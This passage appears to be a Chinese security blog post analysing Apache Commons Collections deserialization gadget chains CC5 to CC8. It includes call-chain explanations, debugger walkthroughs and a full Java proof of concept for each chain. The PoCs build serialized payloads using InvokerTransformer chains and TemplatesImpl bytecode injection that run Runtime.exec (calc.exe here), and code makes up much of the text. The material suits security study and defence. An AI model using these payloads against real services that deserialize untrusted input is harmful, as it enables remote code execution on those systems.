        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        setField(templates,"_tfactory",TransformerFactoryImpl.class.newInstance());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add(1);
        priorityQueue.add(1);
        Field field = priorityQueue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,transformingComparator);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

CC5

cc5用到了之前分析过的TiedMapEntry

之前的写的调用链()

HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()

cc5的

BadAttributeValueExpException.readObject()->valObj.toString()->TiedMapEntry.getValue->LazyMap.get()

在这里插入图片描述

因为这条利用链关键是触发TiedMapEntry.toString(),而debug的时候调试器会在下面调用一些toString之类的方法,所以就会造成调试过程中莫名其妙弹处计算器的情况

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformersChain = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,transformersChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        setField(poc,"val",tiedMapEntry);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(poc);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

CC6

调用链

HashSet.readObject->HashMap.put()->HashMap.hash(key)->TiedMapEntry.hashCode()->LazyMap.get()

跟之前cc2中分析的差不多,poc

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformersChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformersChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey1");//把outerMap放入TiedMapEntry
        HashSet hashSet = new HashSet();
        hashSet.add(tme);
        outerMap.remove("keykey1");
        setField(transformersChain,"iTransformers",transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

CC7

Hashtable.readObject()->Hashtable.reconstitutionPut()->AbstractMapDecorator.equals()->AbstractMap.equals()->
LazyMap.get

Hashtable.readObject()#1215

在这里插入图片描述

Hashtable.reconstitutionPut()#1241

这里要进入for循环需要e不为空,所以在readObject()里的for循环要第二次调用reconstitutionPut(),e才不为空,而此时key为lazyMap实例,并且lazyMap继承了AbstractMapDecorator

在这里插入图片描述

AbstractMapDecorator.equals()->AbstractMap.equals()#495

m是laztMap实例,调用lazyMap.get()

在这里插入图片描述

poc

public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        setField(transformerChain,"iTransformers",transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashtable);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

调试分析

首先这个for循环的elements是放入hashtable的个数,这里是2,第一次进入for循环,key是yy,value是1

在这里插入图片描述

到这里,e=table[index]是null,直接跳过for循环
在这里插入图片描述

然后这一步赋值给table[index]

在这里插入图片描述

下一层for循环,此时key是zZ,value是1

在这里插入图片描述

由于上一轮的赋值,此时e不为空

在这里插入图片描述

然后进入e.hash==hash的判断,由于yy和zZ的hashcode相同所以成功调用equals

在这里插入图片描述

然后还有一个问题是为什么lazymap2会多出来一个key为yy,断点打到hashtable.put(lazyMap2, 1);

在这里插入图片描述

在hashtable.put方法中有验证key是否重复这行,此时entry为yy的map(因为要挨个比较是不是跟zZ重复,并且当前只有一个hashmap),参数key是zZ

在这里插入图片描述

继续到AbstractMap.equals(),这里i先得到所有hashmap,第一个自然是yy了,

在这里插入图片描述

所以在492行中m.get(key),m是lazymap2,key是yy

在这里插入图片描述

之后到LazyMap.get,因为此时lazymap2中并没有yy这一key,所以在lazymap2中增加了一个yy

在这里插入图片描述

return之后回到hashtable的这一循环中,可以发现lazymap2的key变成了两个
在这里插入图片描述

所以需要手动lazymap2.remove("yy"),不删会影响后续逻辑判断

CC8

    Gadget chain:
        org.apache.commons.collections4.bag.TreeBag.readObject
        org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
        java.util.TreeMap.put
        java.util.TreeMap.compare
        org.apache.commons.collections4.comparators.TransformingComparator.compare
        org.apache.commons.collections4.functors.InvokerTransformer.transform
        java.lang.reflect.Method.invoke
        sun.reflect.DelegatingMethodAccessorImpl.invoke
        sun.reflect.NativeMethodAccessorImpl.invoke
        sun.reflect.NativeMethodAccessorImpl.invoke0
        com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
            ... (TemplatesImpl gadget)
        java.lang.Runtime.exec

TreeBag.readObject()调用父类方法

在这里插入图片描述

AbstractMapBag.doReadObject()

map类型为TreeMap,524调用put

在这里插入图片描述

TreeMap.put,t为null则调用compare

在这里插入图片描述

TreeMap.compare,令compare为TransformingComparator,接上了cc2

在这里插入图片描述

poc

public class test {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(String.valueOf(AbstractTranslet.class));
        CtClass ctClass = pool.get(test.class.getName());
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
        ctClass.makeClassInitializer().insertAfter(code);
        ctClass.setName("evil");
        byte[] bytes = ctClass.toBytecode();
        byte[][] bytecode = new byte[][]{bytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setField(templates,"_bytecodes",bytecode);
        setField(templates,"_name","test");
        setField(templates,"_class",null);
        setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
        TransformingComparator comp = new TransformingComparator(transformer);
        TreeBag tree = new TreeBag(comp);
        tree.add(templates);
        setField(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(tree);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public static void setField(Object obj, String field,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
}

调试

首先TreeBag.readObject

在这里插入图片描述

调用父类doReadObject,这里的参数首先从反序列化数据中读出,然后当作构造参数生成一个TreeMap

在这里插入图片描述

父类AbstractMapBag.doReadObject

这里的map是刚刚的TreeMap实例,并且obj是TemplateImpl实例

在这里插入图片描述

TreeMap.put

t=null进入if,key是是TemplateImpl实例

在这里插入图片描述

TreeMap.compare

因为comparator在TreeMap初始化时被赋值为TransformingComparator实例,所以调用TransformingComparator.compare()

在这里插入图片描述

invokerTransformer.transform中反射调用TeamplateImpl.newTransformer,后面就一样了,还原字节码

在这里插入图片描述

总结

commons-collections3.1:1,3,5,6,7

commons-collections4.0:2,4,8

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇